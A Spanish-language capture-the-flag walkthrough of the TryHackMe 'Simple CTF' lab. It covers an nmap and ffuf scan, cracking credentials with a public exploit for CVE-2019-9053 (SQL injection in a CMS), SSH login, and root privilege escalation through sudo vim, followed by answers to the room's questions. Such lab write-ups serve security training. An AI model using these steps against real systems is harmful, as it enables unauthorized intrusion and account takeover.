Entrada

TryHackMe - Simple CTF

Sencillo pero no tan fácil

TryHackMe - Simple CTF

Introducción

Se supone que este es un CTF de nivel principiante, así que echemos un vistazo.

Fue bastante simple, solo que me costó un poco.

Tryhackme Room Link

Nmap

Comencemos con el escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.112.164
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.75.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Puertos abiertos: 21/tcp 80/tcp 2222/tcp

Reconocimiento

Vamos a comprobar si hay directorios y archivos

1
2
3
4
5
6
7
8
9
10
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.112.164/FUZZ" -fl 124
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
.htpasswd               [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 45ms]
.hta                    [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 45ms]
.htaccess               [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 3456ms]
index.html              [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
robots.txt              [Status: 200, Size: 929, Words: 176, Lines: 33, Duration: 45ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 43ms]
simple                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 956 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

Bien, podemos consultar la subpágina simple que parece ser Simple CMS

Dado que la sala nos ha guiado hacia la inyección SQL, busqué en Google algunos CVE y encontré CVE-2019-9053

Vamos a descargarlo de exploit.db

Usando el exploit en el sitio web de CMS podemos forzar las credenciales

1
python3 46635.py -u http://10.10.112.164 --crack -w /usr/share/wordlists/rockyou.txt

Y estamos obteniendo las credenciales

1
2
Username: mitch
Password: <CENSORED>

Bandera de usuario

Podemos iniciar sesión usando nuestras credenciales

1
2
3
ssh mitch@10.10.112.164
cat user.txt
<CENSORED>

Escalada de privilegios

Primero creamos un shell normal y luego verificamos si podemos ejecutar algo como sudo

1
2
3
4
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Ok, entonces podemos simplemente ejecutar vim como root

1
sudo vim

Aparecerá una nueva ventana, simplemente nos generamos un shell root y presionamos enter

Vim

Vim

Bandera Root

Root Flag

Y nos olvidamos de responder las preguntas:

¿Cuántos servicios se están ejecutando en el puerto 1000?

Respuesta:

1
2

¿Qué se está ejecutando en el puerto superior?

Respuesta:

1
ssh

¿Cuál es el CVE que estás usando contra la aplicación?

Respuesta:

1
CVE-2019-9053

¿A qué tipo de vulnerabilidad es vulnerable la aplicación?

Respuesta:

1
sqli

¿Cuál es la contraseña?

Respuesta:

1
<CENSORED>

¿Dónde puedo iniciar sesión con los datos obtenidos?

Respuesta:

1
ssh

¿Cual es la bandera de usuario?

Respuesta:

1
<CENSORED>

¿Hay algún otro usuario en el directorio de inicio? ¿Cómo se llama?

Respuesta:

1
sunbath

¿Qué puedes aprovechar para generar un shell privilegiado?

Respuesta:

1
vim

¿Cuál es la bandera root?

Respuesta:

1
<CENSORED>
Esta entrada está licenciada bajo CC BY 4.0 por el autor.